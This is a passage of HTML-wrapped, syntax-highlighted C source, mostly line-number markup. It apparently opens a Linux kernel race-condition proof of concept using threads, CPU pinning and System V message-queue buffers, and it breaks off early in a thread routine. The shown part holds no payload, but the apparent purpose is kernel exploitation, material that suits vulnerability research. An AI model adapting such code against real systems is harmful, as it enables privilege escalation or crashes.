data-line=\"crayon-5b6383596d206230643600-388\">388<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-389\">389<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-390\">390<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-391\">391<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-392\">392<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-393\">393<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-394\">394<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-395\">395<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-396\">396<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-397\">397<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-398\">398<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-399\">399<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-400\">400<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-401\">401<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-402\">402<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-403\">403<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-404\">404<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-405\">405<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-406\">406<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-407\">407<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-408\">408<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-409\">409<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-410\">410<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-411\">411<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-412\">412<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-413\">413<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-414\">414<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-415\">415<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-416\">416<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-417\">417<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-418\">418<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-419\">419<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-420\">420<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-421\">421<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-422\">422<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-423\">423<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-424\">424<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-425\">425<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-426\">426<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-427\">427<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-428\">428<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-429\">429<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-430\">430<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-431\">431<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-432\">432<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-433\">433<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-434\">434<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-435\">435<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-436\">436<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-437\">437<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-438\">438<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-439\">439<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-440\">440<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-441\">441<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-442\">442<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-443\">443<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-444\">444<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-445\">445<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-446\">446<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-447\">447<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-448\">448<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-449\">449<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-450\">450<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-451\">451<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-452\">452<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-453\">453<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-454\">454<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-455\">455<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-456\">456<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-457\">457<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-458\">458<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-459\">459<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-460\">460<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-461\">461<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-462\">462<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-463\">463<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-464\">464<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-465\">465<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-466\">466<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-467\">467<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-468\">468<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-469\">469<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-470\">470<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-471\">471<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-472\">472<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-473\">473<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-474\">474<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b6383596d206230643600-475\">475<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b6383596d206230643600-476\">476<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-1\"><span class=\"crayon-p\">#define _GNU_SOURCE<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-2\"><span class=\"crayon-p\">#include &lt;endian.h&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-3\"><span class=\"crayon-p\">#include &lt;linux\/futex.h&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-4\"><span class=\"crayon-p\">#include &lt;pthread.h&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-5\"><span class=\"crayon-p\">#include &lt;stdint.h&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-6\"><span class=\"crayon-p\">#include &lt;stdlib.h&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-7\"><span class=\"crayon-p\">#include &lt;string.h&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-8\"><span class=\"crayon-p\">#include &lt;sys\/syscall.h&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-9\"><span class=\"crayon-p\">#include &lt;unistd.h&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-10\"><span class=\"crayon-p\">#include &lt;stdio.h&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-11\"><span class=\"crayon-p\">#include &lt;sys\/mman.h&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-12\"><span class=\"crayon-p\">#include &lt;sys\/ipc.h&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-13\"><span class=\"crayon-p\">#include &lt;sys\/msg.h&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-14\"><span class=\"crayon-p\">#include &lt;sys\/time.h&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-15\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-16\"><span class=\"crayon-p\">#include &lt;sched.h&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-17\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-18\"><span class=\"crayon-p\">#define SEND 1<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-19\"><span class=\"crayon-p\">#define RECV 0<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-20\"><span class=\"crayon-p\">#define RDMATHREADS 30<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-21\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-22\"><span class=\"crayon-m\">static<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">test<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-23\"><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">createThreads<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-24\"><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">testTreadWake<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-25\"><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">exitRdmaThreads<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-26\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-27\"><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">loop<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-28\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-29\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">createThreads<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-30\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">while<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-31\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">test<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-32\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-33\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-34\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-35\"><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">thread_t<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-36\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">created<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">running<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">call<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">CPUNumber<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">exitFlag<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-37\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">pthread_t <\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-38\"><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-39\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-40\"><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">msgInfo<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-41\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">msgid<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-42\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">CPUNumber<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-43\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">sendOrRecv<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/\/true: send ; false: recv<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-44\"><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-45\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-46\"><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-47\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">long<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">mtype<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-48\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">char<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">mtext<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0xAC<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-49\"><span class=\"crayon-c\">\/\/char mtext[0xB0];<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-50\"><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">msg<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-cn\">0x42<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-51\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-52\"><span class=\"crayon-m\">static<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">thread_t<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">threads<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-53\"><span class=\"crayon-m\">static<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">execute_call<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">call<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-54\"><span class=\"crayon-m\">static<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">running<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-55\"><span class=\"crayon-m\">static<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">collide<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-56\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-57\"><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">threadWaittingNum<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-58\"><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">sendCount<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-59\"><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">sendNum<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-60\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-61\"><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">threadWaitting<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-62\"><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">threadRunning<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-63\"><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">ipcThreadStop<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-64\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-65\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-66\"><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">setAffinity<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">void<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">arg<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-67\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-68\"><span class=\"crayon-m\">static<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">void<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">thr<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">void<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">arg<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-69\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-70\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">thread_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">thread_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-v\">arg<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-71\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">msgInfo <\/span><span class=\"crayon-v\">setRdmaCPUInfo<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-72\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">setRdmaCPUInfo<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">CPUNumber<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">CPUNumber<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-73\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-74\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">setAffinity<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">setRdmaCPUInfo<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-75\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-76\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">for<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-77\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">while<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">__atomic_load_n<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">running<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__ATOMIC_ACQUIRE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-78\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-79\"><span 